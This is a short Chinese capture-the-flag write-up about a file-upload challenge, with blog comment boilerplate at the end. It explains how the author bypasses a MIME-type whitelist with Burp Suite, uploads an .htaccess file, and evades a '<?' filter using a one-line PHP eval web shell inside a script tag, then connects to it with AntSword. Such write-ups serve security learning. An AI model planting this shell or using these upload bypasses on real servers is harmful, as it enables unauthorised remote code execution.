直接开burpsuite，抓包上传点，老规矩先传配置文件
右键发送到重复器（Repeater），切到重复器，点击发送
png后缀也传不了？？？
可能是文件名或者是后缀名或者是文件类型Content-Type或者是文件内容不符合，这里一个个测试，先测试全部常见的图片后缀（png、jpg、jpeg、gif）
发现还是不行，接着后缀名保持png，测试Content-Type，发现上传成功
把文件后缀删掉上传
对MIME头白名单过滤了，也只接受jpeg类型，但是似乎也没有对后缀进行严格的过滤，也就过滤了ph
既然配置文件上传成功，就直接上传马吧
发现过滤掉了<?，那就换种php格式
<script language="php"> @eval($_POST["x"]);</script> 
上传成功，根据回显，得到文件上传的地址
上蚁剑连接，发现连接不成功，尴尬了，回头看才知道.htaccess配置文件不能上文件头，把文件头去掉再上传
蚁剑连接成功
拿到flag
602
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
